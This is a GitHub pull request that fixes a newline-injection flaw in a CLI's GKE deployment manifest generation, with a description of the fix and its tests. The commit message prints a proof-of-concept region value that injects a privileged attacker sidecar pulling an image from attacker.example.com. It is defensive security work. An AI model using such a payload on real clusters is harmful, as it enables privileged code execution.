Skip to content

fix(cli): reject multi-line project/region before they reach the GKE manifest - #7229

Open
prasanna8585 wants to merge 2 commits into
google:mainfrom
prasanna8585:fix/gke-manifest-project-region-injection
Open

prasanna8585 wants to merge 2 commits into
google:mainfrom
prasanna8585:fix/gke-manifest-project-region-injection

Conversation

@prasanna8585

Copy link
Copy Markdown
Contributor

Problem

Follow-up to #6930 / 8192d1b. As the reviewer on that PR noted: "the gke manifest still interpolates both unchecked, so a pull request for that would be welcome."

to_gke's deployment.yaml is built by raw f-string interpolation, not a YAML library with automatic escaping:

f'        - name: GOOGLE_CLOUD_PROJECT\n          value: "{project}"'
f'        - name: GOOGLE_CLOUD_LOCATION\n          value: "{region}"'

A newline embedded in project or region breaks out of the quoted YAML scalar the same way it broke out of a Dockerfile ENV line in #6930 — except deployment.yaml is kubectl apply'd directly to a real GKE cluster, so the blast radius is a live cluster resource, not a local build step.

Confirmed exploitable, not just malformed: a crafted region value can produce a deployment.yaml that a real YAML parser accepts as a Deployment whose pod spec has two containers — the legitimate one and a second, fully attacker-controlled, privileged sidecar with an arbitrary command. This isn't a parse-error DoS; it's accepted as valid, additional pod spec structure.

Fix

Generalizes the existing _validate_dockerfile_env_value (from 8192d1b) to _validate_no_newlines, since the underlying reason for the check — a value written into a line-based format where an embedded newline can contribute new, attacker-controlled lines — is identical for a Dockerfile ENV instruction and a YAML manifest. Kept the same "reject newlines only" narrowness intentionally, matching the original fix's reasoning (a stricter allowlist would reject the valid, already-tested domain-scoped project id example.com:my-project). Applied to project/region in to_gke, before either value is echoed or reaches any generated file.

Testing

  • Standalone reproduction (yaml.safe_load_all against the actual string-templated output) confirms the injection succeeds pre-fix: the parsed Deployment's pod spec has 2 containers, the second fully attacker-controlled.
  • New test test_to_gke_rejects_multiline_project_or_region, parametrized over both fields, asserts rejection happens before any subprocess call or file write — not merely before kubectl apply.
  • Confirmed via revert-and-retest: reverting the two new validation calls makes the test fail with "DID NOT RAISE ClickException" (the malicious value flows through unrejected to the mocked kubectl apply); restoring them passes.
  • Renamed the existing _validate_dockerfile_env_value tests to match — confirms the original to_agent_engine behavior, including the example.com:my-project domain-scoped-id case, is unaffected.
  • Full test_cli_deploy.py suite: 121 passed, 2 pre-existing skips, 0 failed, both before and after.

…manifest

Follow-up to google#6930 / commit 8192d1b ("reject multi-line env values when
generating the Dockerfile"), per the reviewer's own note on that PR:
"the gke manifest still interpolates both unchecked, so a pull request
for that would be welcome."

`to_gke`'s deployment.yaml is built by raw f-string interpolation, not
a YAML library with automatic escaping:

  f'        - name: GOOGLE_CLOUD_PROJECT\n          value: "{project}"'
  f'        - name: GOOGLE_CLOUD_LOCATION\n          value: "{region}"'

and separately:

  image_name = f'gcr.io/{project}/{service_name}'

A newline embedded in `project` or `region` breaks out of the quoted
YAML scalar the same way it broke out of a Dockerfile ENV line in the
original issue -- except deployment.yaml is `kubectl apply`'d directly
to a real GKE cluster (to_gke's own "STEP 4: Applying deployment to GKE
cluster"), so the blast radius here is a live cluster resource, not a
local build step.

Confirmed exploitable, not just malformed, with a standalone
reproduction independent of the original report: a crafted `region`
value ending

  us-central1"
        - name: attacker-sidecar
          image: attacker.example.com/backdoor:latest
          securityContext:
            privileged: true
          command: ["/bin/sh", "-c", "id > /tmp/pwned"]
          ...

produces a deployment.yaml that a real YAML parser (yaml.safe_load_all,
the same class of parser kubectl itself uses) parses as a Deployment
whose pod spec has two containers -- the legitimate one and a second,
fully attacker-controlled, privileged sidecar with an arbitrary
command. This is not a parse-error DoS; the injected content is
accepted as valid, additional Kubernetes pod spec structure and would
be applied to the cluster along with the legitimate deployment.

Fix: generalizes the existing `_validate_dockerfile_env_value` (added
in 8192d1b) to `_validate_no_newlines`, since the underlying reason for
the check -- a value being written into a line-based text format where
an embedded newline can terminate the line early and contribute new,
attacker-controlled lines -- is identical for a Dockerfile ENV
instruction and a YAML manifest. Kept the same "reject newlines,
nothing else" narrowness intentionally, matching the original fix's
own reasoning (a letters-digits-hyphens allowlist would reject a
valid, existing test case, the domain-scoped project id
"example.com:my-project"). Calls it for `project` and `region` in
`to_gke`, immediately after `project` is resolved and before either
value is echoed to the console or reaches any generated file.

Verified:
- Standalone reproduction (yaml.safe_load_all against the actual
  string-templated output of to_gke's own deployment_yaml
  construction) confirms the injection succeeds pre-fix: the parsed
  Deployment's pod spec has 2 containers, the second being fully
  attacker-controlled (arbitrary image, privileged: true, arbitrary
  command).
- New test test_to_gke_rejects_multiline_project_or_region, added to
  test_cli_deploy.py, parametrized over both project and region.
  Asserts to_gke raises click.ClickException, and that neither
  subprocess.run nor deployment.yaml's creation happen -- rejected
  before any cluster-facing action, not merely before the apply step.
  Confirmed via revert-and-retest: reverting just the two new
  _validate_no_newlines calls in to_gke makes the test fail with "DID
  NOT RAISE ClickException" (the malicious value flows all the way
  through to the mocked kubectl apply call unrejected); restoring the
  calls makes it pass.
- Renamed _validate_dockerfile_env_value's existing tests
  (test_validate_dockerfile_env_value_accepts_single_line_values,
  test_validate_dockerfile_env_value_rejects_multiline_values) to
  match the new name, otherwise unchanged -- confirms the original
  to_agent_engine behavior (including the "example.com:my-project"
  domain-scoped-id acceptance case) is unaffected by the rename.
- Full tests/unittests/cli/utils/test_cli_deploy.py suite: 121 passed,
  2 skipped (pre-existing, unrelated to this change), 0 failed, both
  before capturing this fix and after restoring it.
@prasanna8585
prasanna8585 force-pushed the fix/gke-manifest-project-region-injection branch from 7480c9d to a6d4282 Compare September 23, 2026 05:54
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants